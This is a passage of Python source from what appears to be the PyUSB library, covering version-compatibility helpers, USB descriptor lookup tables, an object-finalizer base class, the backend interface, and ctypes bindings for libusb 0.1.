# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE
# IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE
# NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR
# MODIFICATIONS.
# All the hacks necessary to assure compatibility across all
# supported versions come here.
# Please, note that there is one version check for each
# hack we need to do, this makes maintenance easier... ^^
import sys
import array
__all__ = ['_reduce', '_set', '_next', '_update_wrapper']
# we support Python >= 2.4
assert sys.hexversion >= 0x020400f0
# On Python 3, reduce became a functools module function
try:
import functools
_reduce = functools.reduce
except (ImportError, AttributeError):
_reduce = reduce
# all, introduced in Python 2.5
try:
_all = all
except NameError:
_all = lambda iter_ : _reduce( lambda x, y: x and y, iter_, True )
# we only have the builtin set type since 2.5 version
try:
_set = set
except NameError:
import sets
_set = sets.Set
# On Python >= 2.6, we have the builtin next() function
# On Python 2.5 and before, we have to call the iterator method next()
def _next(iter):
try:
return next(iter)
except NameError:
return iter.next()
# functools appeared in 2.5
try:
import functools
_update_wrapper = functools.update_wrapper
except (ImportError, AttributeError):
def _update_wrapper(wrapper, wrapped):
wrapper.__name__ = wrapped.__name__
wrapper.__module__ = wrapped.__module__
wrapper.__doc__ = wrapped.__doc__
wrapper.__dict__ = wrapped.__dict__
# this is used (as of May 2015) twice in core, once in backend/openusb, and in
# some unit test code. It would probably be clearer if written in terms of some
# definite 3.2+ API (bytearrays?) with a fallback provided for 2.4+.
def as_array(data=None):
if data is None:
return array.array('B')
if isinstance(data, array.array):
return data
try:
return array.array('B', data)
except TypeError:
# When you pass a unicode string or a character sequence,
# you get a TypeError if the first parameter does not match
a = array.array('B')
a.fromstring(data) # deprecated since 3.2
return a
================================================
FILE: usb/_lookup.py
================================================
# Copyright (C) 2009-2014 Walker Inman
#
# The following terms apply to all files associated
# with the software unless explicitly disclaimed in individual files.
#
# The authors hereby grant permission to use, copy, modify, distribute,
# and license this software and its documentation for any purpose, provided
# that existing copyright notices are retained in all copies and that this
# notice is included verbatim in any distributions. No written agreement,
# license, or royalty fee is required for any of the authorized uses.
# Modifications to this software may be copyrighted by their authors
# and need not follow the licensing terms described here, provided that
# the new terms are clearly indicated on the first page of each file where
# they apply.
#
# IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY
# FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES
# ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY
# DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
# THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES,
# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE
# IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE
# NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR
# MODIFICATIONS.
r"""usb._lookups - Lookup tables for USB
"""
descriptors = {
0x1 : "Device",
0x2 : "Configuration",
0x3 : "String",
0x4 : "Interface",
0x5 : "Endpoint",
0x6 : "Device qualifier",
0x7 : "Other speed configuration",
0x8 : "Interface power",
0x9 : "OTG",
0xA : "Debug",
0xB : "Interface association",
0xC : "Security",
0xD : "Key",
0xE : "Encryption type",
0xF : "Binary device object store (BOS)",
0x10 : "Device capability",
0x11 : "Wireless endpoint companion",
0x30 : "SuperSpeed endpoint companion",
}
device_classes = {
0x0 : "Specified at interface",
0x2 : "Communications Device",
0x9 : "Hub",
0xF : "Personal Healthcare Device",
0xDC : "Diagnostic Device",
0xE0 : "Wireless Controller",
0xEF : "Miscellaneous",
0xFF : "Vendor-specific",
}
interface_classes = {
0x0 : "Reserved",
0x1 : "Audio",
0x2 : "CDC Communication",
0x3 : "Human Interface Device",
0x5 : "Physical",
0x6 : "Image",
0x7 : "Printer",
0x8 : "Mass Storage",
0x9 : "Hub",
0xA : "CDC Data",
0xB : "Smart Card",
0xD : "Content Security",
0xE : "Video",
0xF : "Personal Healthcare",
0xDC : "Diagnostic Device",
0xE0 : "Wireless Controller",
0xEF : "Miscellaneous",
0xFE : "Application Specific",
0xFF : "Vendor Specific",
}
ep_attributes = {
0x0 : "Control",
0x1 : "Isochronous",
0x2 : "Bulk",
0x3 : "Interrupt",
}
MAX_POWER_UNITS_USB2p0 = 2 # mA
MAX_POWER_UNITS_USB_SUPERSPEED = 8 # mA
================================================
FILE: usb/_objfinalizer.py
================================================
# -*- coding: utf-8 -*-
#
# Copyright (C) 2014 André Erdmann
#
# The following terms apply to all files associated
# with the software unless explicitly disclaimed in individual files.
#
# The authors hereby grant permission to use, copy, modify, distribute,
# and license this software and its documentation for any purpose, provided
# that existing copyright notices are retained in all copies and that this
# notice is included verbatim in any distributions. No written agreement,
# license, or royalty fee is required for any of the authorized uses.
# Modifications to this software may be copyrighted by their authors
# and need not follow the licensing terms described here, provided that
# the new terms are clearly indicated on the first page of each file where
# they apply.
#
# IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY
# FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES
# ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY
# DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
# THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES,
# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE
# IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE
# NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR
# MODIFICATIONS.
import sys
__all__ = ['AutoFinalizedObject']
class _AutoFinalizedObjectBase(object):
"""
Base class for objects that get automatically
finalized on delete or at exit.
"""
def _finalize_object(self):
"""Actually finalizes the object (frees allocated resources etc.).
Returns: None
Derived classes should implement this.
"""
pass
def __new__(cls, *args, **kwargs):
"""Creates a new object instance and adds the private finalizer
attributes to it.
Returns: new object instance
Arguments:
* *args, **kwargs -- ignored
"""
instance = super(_AutoFinalizedObjectBase, cls).__new__(cls)
instance._finalize_called = False
return instance
def _do_finalize_object(self):
"""Helper method that finalizes the object if not already done.
Returns: None
"""
if not self._finalize_called: # race-free?
self._finalize_called = True
self._finalize_object()
def finalize(self):
"""Finalizes the object if not already done.
Returns: None
"""
# this is the "public" finalize method
raise NotImplementedError(
"finalize() must be implemented by AutoFinalizedObject."
)
def __del__(self):
self.finalize()
if sys.hexversion >= 0x3040000:
# python >= 3.4: use weakref.finalize
import weakref
def _do_finalize_object_ref(obj_ref):
"""Helper function for weakref.finalize() that dereferences a weakref
to an object and calls its _do_finalize_object() method if the object
is still alive. Does nothing otherwise.
Returns: None (implicit)
Arguments:
* obj_ref -- weakref to an object
"""
obj = obj_ref()
if obj is not None:
# else object disappeared
obj._do_finalize_object()
class AutoFinalizedObject(_AutoFinalizedObjectBase):
def __new__(cls, *args, **kwargs):
"""Creates a new object instance and adds the private finalizer
attributes to it.
Returns: new object instance
Arguments:
* *args, **kwargs -- passed to the parent instance creator
(which ignores them)
"""
# Note: Do not pass a (hard) reference to instance to the
# finalizer as func/args/kwargs, it'd keep the object
# alive until the program terminates.
# A weak reference is fine.
#
# Note 2: When using weakrefs and not calling finalize() in
# __del__, the object may already have disappeared
# when weakref.finalize() kicks in.
# Make sure that _finalizer() gets called,
# i.e. keep __del__() from the base class.
#
# Note 3: the _finalize_called attribute is (probably) useless
# for this class
instance = super(AutoFinalizedObject, cls).__new__(
cls, *args, **kwargs
)
instance._finalizer = weakref.finalize(
instance, _do_finalize_object_ref, weakref.ref(instance)
)
return instance
def finalize(self):
"""Finalizes the object if not already done."""
self._finalizer()
else:
# python < 3.4: keep the old behavior (rely on __del__),
# but don't call _finalize_object() more than once
class AutoFinalizedObject(_AutoFinalizedObjectBase):
def finalize(self):
"""Finalizes the object if not already done."""
self._do_finalize_object()
================================================
FILE: usb/backend/__init__.py
================================================
# Copyright (C) 2009-2014 Wander Lairson Costa
#
# The following terms apply to all files associated
# with the software unless explicitly disclaimed in individual files.
#
# The authors hereby grant permission to use, copy, modify, distribute,
# and license this software and its documentation for any purpose, provided
# that existing copyright notices are retained in all copies and that this
# notice is included verbatim in any distributions. No written agreement,
# license, or royalty fee is required for any of the authorized uses.
# Modifications to this software may be copyrighted by their authors
# and need not follow the licensing terms described here, provided that
# the new terms are clearly indicated on the first page of each file where
# they apply.
#
# IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY
# FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES
# ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY
# DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
# THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES,
# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE
# IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE
# NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR
# MODIFICATIONS.
r"""usb.backend - Backend interface.
This module exports:
IBackend - backend interface.
Backends are Python objects which implement the IBackend interface.
The easiest way to do so is inherinting from IBackend.
PyUSB already provides backends for libusb versions 0.1 and 1.0,
and OpenUSB library. Backends modules included with PyUSB are required to
export the get_backend() function, which returns an instance of a backend
object. You can provide your own customized backend if you
want to. Below you find a skeleton of a backend implementation module:
import usb.backend
class MyBackend(usb.backend.IBackend):
pass
def get_backend():
return MyBackend()
You can use your customized backend by passing it as the backend parameter of the
usb.core.find() function. For example:
import custom_backend
import usb.core
myidVendor = 0xfffe
myidProduct = 0x0001
mybackend = custom_backend.get_backend()
dev = usb.core.find(backend = mybackend, idProduct=myidProduct,
idVendor=myidVendor)
For custom backends, you are not required to supply the get_backend() function,
since the application code will instantiate the backend.
If you do not provide a backend to the find() function, it will use one of the
defaults backend according to its internal rules. For details, consult the
find() function documentation.
"""
import usb._objfinalizer as _objfinalizer
__author__ = 'Wander Lairson Costa'
__all__ = ['IBackend', 'libusb01', 'libusb10', 'openusb']
def _not_implemented(func):
raise NotImplementedError(func.__name__)
class IBackend(_objfinalizer.AutoFinalizedObject):
r"""Backend interface.
IBackend is the basic interface for backend implementations. By default,
the methods of the interface raise a NotImplementedError exception. A
backend implementation should replace the methods to provide the funcionality
necessary.
As Python is a dynamic typed language, you are not obligated to inherit from
IBackend: everything that behaves like an IBackend is an IBackend. But you
are strongly recommended to do so, inheriting from IBackend provides consistent
default behavior.
"""
def enumerate_devices(self):
r"""This function is required to return an iterable object which
yields an implementation defined device identification for each
USB device found in the system.
The device identification object is used as argument to other methods
of the interface.
"""
_not_implemented(self.enumerate_devices)
def get_device_descriptor(self, dev):
r"""Return the device descriptor of the given device.
The object returned is required to have all the Device Descriptor
fields accessible as member variables. They must be convertible (but
not required to be equal) to the int type.
dev is an object yielded by the iterator returned by the enumerate_devices()
method.
"""
_not_implemented(self.get_device_descriptor)
def get_configuration_descriptor(self, dev, config):
r"""Return a configuration descriptor of the given device.
The object returned is required to have all the Configuration Descriptor
fields acessible as member variables. They must be convertible (but
not required to be equal) to the int type.
The dev parameter is the device identification object.
config is the logical index of the configuration (not the bConfigurationValue
field). By "logical index" we mean the relative order of the configurations
returned by the peripheral as a result of GET_DESCRIPTOR request.
"""
_not_implemented(self.get_configuration_descriptor)
def get_interface_descriptor(self, dev, intf, alt, config):
r"""Return an interface descriptor of the given device.
The object returned is required to have all the Interface Descriptor
fields accessible as member variables. They must be convertible (but
not required to be equal) to the int type.
The dev parameter is the device identification object.
The intf parameter is the interface logical index (not the bInterfaceNumber field)
and alt is the alternate setting logical index (not the bAlternateSetting value).
Not every interface has more than one alternate setting. In this case, the alt
parameter should be zero. config is the configuration logical index (not the
bConfigurationValue field).
"""
_not_implemented(self.get_interface_descriptor)
def get_endpoint_descriptor(self, dev, ep, intf, alt, config):
r"""Return an endpoint descriptor of the given device.
The object returned is required to have all the Endpoint Descriptor
fields acessible as member variables. They must be convertible (but
not required to be equal) to the int type.
The ep parameter is the endpoint logical index (not the bEndpointAddress
field) of the endpoint descriptor desired. dev, intf, alt and config are the same
values already described in the get_interface_descriptor() method.
"""
_not_implemented(self.get_endpoint_descriptor)
def open_device(self, dev):
r"""Open the device for data exchange.
This method opens the device identified by the dev parameter for communication.
This method must be called before calling any communication related method, such
as transfer methods.
It returns a handle identifying the communication instance. This handle must be
passed to the communication methods.
"""
_not_implemented(self.open_device)
def close_device(self, dev_handle):
r"""Close the device handle.
This method closes the device communication channel and releases any
system resources related to it.
"""
_not_implemented(self.close_device)
def set_configuration(self, dev_handle, config_value):
r"""Set the active device configuration.
This method should be called to set the active configuration
of the device. The dev_handle parameter is the value returned
by the open_device() method and the config_value parameter is the
bConfigurationValue field of the related configuration descriptor.
"""
_not_implemented(self.set_configuration)
def get_configuration(self, dev_handle):
r"""Get the current active device configuration.
This method returns the bConfigurationValue of the currently
active configuration. Depending on the backend and the OS,
either a cached value may be returned or a control request may
be issued. The dev_handle parameter is the value returned by
the open_device method.
"""
_not_implemented(self.get_configuration)
def set_interface_altsetting(self, dev_handle, intf, altsetting):
r"""Set the interface alternate setting.
This method should only be called when the interface has more than
one alternate setting. The dev_handle is the value returned by the
open_device() method. intf and altsetting are respectivelly the
bInterfaceNumber and bAlternateSetting fields of the related interface.
"""
_not_implemented(self.set_interface_altsetting)
def claim_interface(self, dev_handle, intf):
r"""Claim the given interface.
Interface claiming is not related to USB spec itself, but it is
generally an necessary call of the USB libraries. It requests exclusive
access to the interface on the system. This method must be called
before using one of the transfer methods.
dev_handle is the value returned by the open_device() method and
intf is the bInterfaceNumber field of the desired interface.
"""
_not_implemented(self.claim_interface)
def release_interface(self, dev_handle, intf):
r"""Release the claimed interface.
dev_handle and intf are the same parameters of the claim_interface
method.
"""
_not_implemented(self.release_interface)
def bulk_write(self, dev_handle, ep, intf, data, timeout):
r"""Perform a bulk write.
dev_handle is the value returned by the open_device() method.
The ep parameter is the bEndpointAddress field whose endpoint
the data will be sent to. intf is the bInterfaceNumber field
of the interface containing the endpoint. The data parameter
is the data to be sent. It must be an instance of the array.array
class. The timeout parameter specifies a time limit to the operation
in miliseconds.
The method returns the number of bytes written.
"""
_not_implemented(self.bulk_write)
def bulk_read(self, dev_handle, ep, intf, buff, timeout):
r"""Perform a bulk read.
dev_handle is the value returned by the open_device() method.
The ep parameter is the bEndpointAddress field whose endpoint
the data will be received from. intf is the bInterfaceNumber field
of the interface containing the endpoint. The buff parameter
is the buffer to receive the data read, the length of the buffer
tells how many bytes should be read. The timeout parameter
specifies a time limit to the operation in miliseconds.
The method returns the number of bytes actually read.
"""
_not_implemented(self.bulk_read)
def intr_write(self, dev_handle, ep, intf, data, timeout):
r"""Perform an interrupt write.
dev_handle is the value returned by the open_device() method.
The ep parameter is the bEndpointAddress field whose endpoint
the data will be sent to. intf is the bInterfaceNumber field
of the interface containing the endpoint. The data parameter
is the data to be sent. It must be an instance of the array.array
class. The timeout parameter specifies a time limit to the operation
in miliseconds.
The method returns the number of bytes written.
"""
_not_implemented(self.intr_write)
def intr_read(self, dev_handle, ep, intf, size, timeout):
r"""Perform an interrut read.
dev_handle is the value returned by the open_device() method.
The ep parameter is the bEndpointAddress field whose endpoint
the data will be received from. intf is the bInterfaceNumber field
of the interface containing the endpoint. The buff parameter
is the buffer to receive the data read, the length of the buffer
tells how many bytes should be read. The timeout parameter
specifies a time limit to the operation in miliseconds.
The method returns the number of bytes actually read.
"""
_not_implemented(self.intr_read)
def iso_write(self, dev_handle, ep, intf, data, timeout):
r"""Perform an isochronous write.
dev_handle is the value returned by the open_device() method.
The ep parameter is the bEndpointAddress field whose endpoint
the data will be sent to. intf is the bInterfaceNumber field
of the interface containing the endpoint. The data parameter
is the data to be sent. It must be an instance of the array.array
class. The timeout parameter specifies a time limit to the operation
in miliseconds.
The method returns the number of bytes written.
"""
_not_implemented(self.iso_write)
def iso_read(self, dev_handle, ep, intf, size, timeout):
r"""Perform an isochronous read.
dev_handle is the value returned by the open_device() method.
The ep parameter is the bEndpointAddress field whose endpoint
the data will be received from. intf is the bInterfaceNumber field
of the interface containing the endpoint. The buff parameter
is buffer to receive the data read, the length of the buffer tells
how many bytes should be read. The timeout parameter specifies
a time limit to the operation in miliseconds.
The method returns the number of bytes actually read.
"""
_not_implemented(self.iso_read)
def ctrl_transfer(self,
dev_handle,
bmRequestType,
bRequest,
wValue,
wIndex,
data,
timeout):
r"""Perform a control transfer on the endpoint 0.
The direction of the transfer is inferred from the bmRequestType
field of the setup packet.
dev_handle is the value returned by the open_device() method.
bmRequestType, bRequest, wValue and wIndex are the same fields
of the setup packet. data is an array object, for OUT requests
it contains the bytes to transmit in the data stage and for
IN requests it is the buffer to hold the data read. The number
of bytes requested to transmit or receive is equal to the length
of the array times the data.itemsize field. The timeout parameter
specifies a time limit to the operation in miliseconds.
Return the number of bytes written (for OUT transfers) or the data
read (for IN transfers), as an array.array object.
"""
_not_implemented(self.ctrl_transfer)
def clear_halt(self, dev_handle, ep):
r"""Clear the halt/stall condition for the endpoint."""
_not_implemented(self.clear_halt)
def reset_device(self, dev_handle):
r"""Reset the device."""
_not_implemented(self.reset_device)
def is_kernel_driver_active(self, dev_handle, intf):
r"""Determine if a kernel driver is active on an interface.
If a kernel driver is active, you cannot claim the interface,
and the backend will be unable to perform I/O.
"""
_not_implemented(self.is_kernel_driver_active)
def detach_kernel_driver(self, dev_handle, intf):
r"""Detach a kernel driver from an interface.
If successful, you will then be able to claim the interface
and perform I/O.
"""
_not_implemented(self.detach_kernel_driver)
def attach_kernel_driver(self, dev_handle, intf):
r"""Re-attach an interface's kernel driver, which was previously
detached using detach_kernel_driver()."""
_not_implemented(self.attach_kernel_driver)
================================================
FILE: usb/backend/libusb0.py
================================================
# Copyright (C) 2009-2014 Wander Lairson Costa
#
# The following terms apply to all files associated
# with the software unless explicitly disclaimed in individual files.
#
# The authors hereby grant permission to use, copy, modify, distribute,
# and license this software and its documentation for any purpose, provided
# that existing copyright notices are retained in all copies and that this
# notice is included verbatim in any distributions. No written agreement,
# license, or royalty fee is required for any of the authorized uses.
# Modifications to this software may be copyrighted by their authors
# and need not follow the licensing terms described here, provided that
# the new terms are clearly indicated on the first page of each file where
# they apply.
#
# IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY
# FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES
# ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY
# DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
# THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES,
# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE
# IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE
# NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR
# MODIFICATIONS.
from ctypes import *
import os
import usb.backend
import usb.util
import sys
from usb.core import USBError
from usb._debug import methodtrace
import usb._interop as _interop
import logging
import usb.libloader
__author__ = 'Wander Lairson Costa'
__all__ = ['get_backend']
_logger = logging.getLogger('usb.backend.libusb0')
# usb.h
if sys.platform.find('bsd') != -1 or sys.platform.find('mac') != -1 or \
sys.platform.find('darwin') != -1 or sys.platform.find('sunos5') != -1:
_PATH_MAX = 1024
elif sys.platform == 'win32' or sys.platform == 'cygwin':
_PATH_MAX = 511
else:
_PATH_MAX = os.pathconf('.', 'PC_PATH_MAX')
# libusb-win32 makes all structures packed, while
# default libusb only does for some structures
# _PackPolicy defines the structure packing according
# to the platform.
class _PackPolicy(object):
pass
if sys.platform == 'win32' or sys.platform == 'cygwin':
_PackPolicy._pack_ = 1
# Data structures
class _usb_descriptor_header(Structure):
_pack_ = 1
_fields_ = [('blength', c_uint8),
('bDescriptorType', c_uint8)]
class _usb_string_descriptor(Structure):
_pack_ = 1
_fields_ = [('bLength', c_uint8),
('bDescriptorType', c_uint8),
('wData', c_uint16)]
class _usb_endpoint_descriptor(Structure, _PackPolicy):
_fields_ = [('bLength', c_uint8),
('bDescriptorType', c_uint8),
('bEndpointAddress', c_uint8),
('bmAttributes', c_uint8),
('wMaxPacketSize', c_uint16),
('bInterval', c_uint8),
('bRefresh', c_uint8),
('bSynchAddress', c_uint8),
('extra', POINTER(c_uint8)),
('extralen', c_int)]
class _usb_interface_descriptor(Structure, _PackPolicy):
_fields_ = [('bLength', c_uint8),
('bDescriptorType', c_uint8),
('bInterfaceNumber', c_uint8),
('bAlternateSetting', c_uint8),
('bNumEndpoints', c_uint8),
('bInterfaceClass', c_uint8),
('bInterfaceSubClass', c_uint8),
('bInterfaceProtocol', c_uint8),
('iInterface', c_uint8),
('endpoint', POINTER(_usb_endpoint_descriptor)),
('extra', POINTER(c_uint8)),
('extralen', c_int)]
class _usb_interface(Structure, _PackPolicy):
_fields_ = [('altsetting', POINTER(_usb_interface_descriptor)),
('num_altsetting', c_int)]
class _usb_config_descriptor(Structure, _PackPolicy):
_fields_ = [('bLength', c_uint8),
('bDescriptorType', c_uint8),
('wTotalLength', c_uint16),
('bNumInterfaces', c_uint8),
('bConfigurationValue', c_uint8),
('iConfiguration', c_uint8),
('bmAttributes', c_uint8),
('bMaxPower', c_uint8),
('interface', POINTER(_usb_interface)),
('extra', POINTER(c_uint8)),
('extralen', c_int)]
class _usb_device_descriptor(Structure, _PackPolicy):
_pack_ = 1
_fields_ = [('bLength', c_uint8),
('bDescriptorType', c_uint8),
('bcdUSB', c_uint16),
('bDeviceClass', c_uint8),
('bDeviceSubClass', c_uint8),
('bDeviceProtocol', c_uint8),
('bMaxPacketSize0', c_uint8),
('idVendor', c_uint16),
('idProduct', c_uint16),
('bcdDevice', c_uint16),
('iManufacturer', c_uint8),
('iProduct', c_uint8),
('iSerialNumber', c_uint8),
('bNumConfigurations', c_uint8)]
class _usb_device(Structure, _PackPolicy):
pass
class _usb_bus(Structure, _PackPolicy):
pass
_usb_device._fields_ = [('next', POINTER(_usb_device)),
('prev', POINTER(_usb_device)),
('filename', c_int8 * (_PATH_MAX + 1)),
('bus', POINTER(_usb_bus)),
('descriptor', _usb_device_descriptor),
('config', POINTER(_usb_config_descriptor)),
('dev', c_void_p),
('devnum', c_uint8),
('num_children', c_ubyte),
('children', POINTER(POINTER(_usb_device)))]
_usb_bus._fields_ = [('next', POINTER(_usb_bus)),
('prev', POINTER(_usb_bus)),
('dirname', c_char * (_PATH_MAX + 1)),
('devices', POINTER(_usb_device)),
('location', c_uint32),
('root_dev', POINTER(_usb_device))]
_usb_dev_handle = c_void_p
class _DeviceDescriptor:
def __init__(self, dev):
desc = dev.descriptor
self.bLength = desc.bLength
self.bDescriptorType = desc.bDescriptorType
self.bcdUSB = desc.bcdUSB
self.bDeviceClass = desc.bDeviceClass
self.bDeviceSubClass = desc.bDeviceSubClass
self.bDeviceProtocol = desc.bDeviceProtocol
self.bMaxPacketSize0 = desc.bMaxPacketSize0
self.idVendor = desc.idVendor
self.idProduct = desc.idProduct
self.bcdDevice = desc.bcdDevice
self.iManufacturer = desc.iManufacturer
self.iProduct = desc.iProduct
self.iSerialNumber = desc.iSerialNumber
self.bNumConfigurations = desc.bNumConfigurations
self.address = dev.devnum
self.bus = dev.bus[0].location
self.port_number = None
self.port_numbers = None
self.speed = None
_lib = None
def _load_library(find_library=None):
return usb.libloader.load_locate_library(
('usb-0.1', 'usb', 'libusb0'),
'cygusb0.dll', 'Libusb 0',
find_library=find_library
)
def _setup_prototypes(lib):
# usb_dev_handle *usb_open(struct usb_device *dev);
lib.usb_open.argtypes = [POINTER(_usb_device)]
lib.usb_open.restype = _usb_dev_handle
# int usb_close(usb_dev_handle *dev);
lib.usb_close.argtypes = [_usb_dev_handle]
# int usb_get_string(usb_dev_handle *dev,
# int index,
# int langid,
# char *buf,
# size_t buflen);
lib.usb_get_string.argtypes = [
_usb_dev_handle,
c_int,
c_int,
c_char_p,
c_size_t
]
# int usb_get_string_simple(usb_dev_handle *dev,
# int index,
# char *buf,
# size_t buflen);
lib.usb_get_string_simple.argtypes = [
_usb_dev_handle,
c_int,
c_char_p,
c_size_t
]
# int usb_get_descriptor_by_endpoint(usb_dev_handle *udev,
# int ep,
# unsigned char type,
# unsigned char index,
# void *buf,
# int size);
lib.usb_get_descriptor_by_endpoint.argtypes = [
_usb_dev_handle,
c_int,
c_ubyte,
c_ubyte,
c_void_p,
c_int
]
# int usb_get_descriptor(usb_dev_handle *udev,
# unsigned char type,
# unsigned char index,
# void *buf,
# int size);
lib.usb_get_descriptor.argtypes = [
_usb_dev_handle,
c_ubyte,
c_ubyte,
c_void_p,
c_int
]
# int usb_bulk_write(usb_dev_handle *dev,
# int ep,
# const char *bytes,
# int size,
# int timeout);
lib.usb_bulk_write.argtypes = [
_usb_dev_handle,
c_int,
c_char_p,
c_int,
c_int
]
# int usb_bulk_read(usb_dev_handle *dev,
# int ep,
# char *bytes,
# int size,
# int timeout);
lib.usb_bulk_read.argtypes = [
_usb_dev_handle,
c_int,
c_char_p,
c_int,
c_int
]
# int usb_interrupt_write(usb_dev_handle *dev,
# int ep,
# const char *bytes,
# int size,
# int timeout);
lib.usb_interrupt_write.argtypes = [
_usb_dev_handle,
c_int,
c_char_p,
c_int,
c_int
]
# int usb_interrupt_read(usb_dev_handle *dev,
# int ep,
# char *bytes,
# int size,
# int timeout);
lib.usb_interrupt_read.argtypes = [
_usb_dev_handle,
c_int,
c_char_p,
c_int,
c_int
]
# int usb_control_msg(usb_dev_handle *dev,
# int requesttype,
# int request,
# int value,
# int index,
# char *bytes,
# int size,
# int timeout);
lib.usb_control_msg.argtypes = [
_usb_dev_handle,
c_int,
c_int,
c_int,
c_int,
c_char_p,
c_int,
c_int
]
# int usb_set_configuration(usb_dev_handle *dev, int configuration);
lib.usb_set_configuration.argtypes = [_usb_dev_handle, c_int]
# int usb_claim_interface(usb_dev_handle *dev, int interface);
lib.usb_claim_interface.argtypes = [_usb_dev_handle, c_int]
# int usb_release_interface(usb_dev_handle *dev, int interface);
lib.usb_release_interface.argtypes = [_usb_dev_handle, c_int]
# int usb_set_altinterface(usb_dev_handle *dev, int alternate);
lib.usb_set_altinterface.argtypes = [_usb_dev_handle, c_int]
# int usb_resetep(usb_dev_handle *dev, unsigned int ep);
lib.usb_resetep.argtypes = [_usb_dev_handle, c_int]
# int usb_clear_halt(usb_dev_handle *dev, unsigned int ep);
lib.usb_clear_halt.argtypes = [_usb_dev_handle, c_int]
# int usb_reset(usb_dev_handle *dev);
lib.usb_reset.argtypes = [_usb_dev_handle]
# char *usb_strerror(void);
lib.usb_strerror.argtypes = []
lib.usb_strerror.restype = c_char_p
# void usb_set_debug(int level);
lib.usb_set_debug.argtypes = [c_int]
# struct usb_device *usb_device(usb_dev_handle *dev);
lib.usb_device.argtypes = [_usb_dev_handle]
lib.usb_device.restype = POINTER(_usb_device)
# struct usb_bus *usb_get_busses(void);
lib.usb_get_busses.restype = POINTER(_usb_bus)
# linux only
# int usb_detach_kernel_driver_np(usb_dev_handle *dev, int interface);
if hasattr(lib, 'usb_detach_kernel_driver_np'):
lib.usb_detach_kernel_driver_np.argtypes = [_usb_dev_handle, c_int]
# libusb-win32 only
# int usb_isochronous_setup_async(usb_dev_handle *dev,
# void **context,
# unsigned char ep,
# int pktsize)
if hasattr(lib, 'usb_isochronous_setup_async'):
lib.usb_isochronous_setup_async.argtypes = \
[_usb_dev_handle, POINTER(c_void_p), c_uint8, c_int]
# int usb_bulk_setup_async(usb_dev_handle *dev,
# void **context,
# unsigned char ep)
if hasattr(lib, 'usb_bulk_setup_async'):
lib.usb_bulk_setup_async.argtypes = \
[_usb_dev_handle, POINTER(c_void_p), c_uint8]
# int usb_interrupt_setup_async(usb_dev_handle *dev,
# void **context,
# unsigned char ep)
if hasattr(lib, 'usb_interrupt_setup_async'):
lib.usb_interrupt_setup_async.argtypes = \
[_usb_dev_handle, POINTER(c_void_p), c_uint8]
# int usb_submit_async(void *context, char *bytes, int size)
if hasattr(lib, 'usb_submit_async'):
lib.usb_submit_async.argtypes = [c_void_p, c_char_p, c_int]
# int usb_reap_async(void *context, int timeout)
if hasattr(lib, 'usb_reap_async'):
lib.usb_reap_async.argtypes = [c_void_p, c_int]
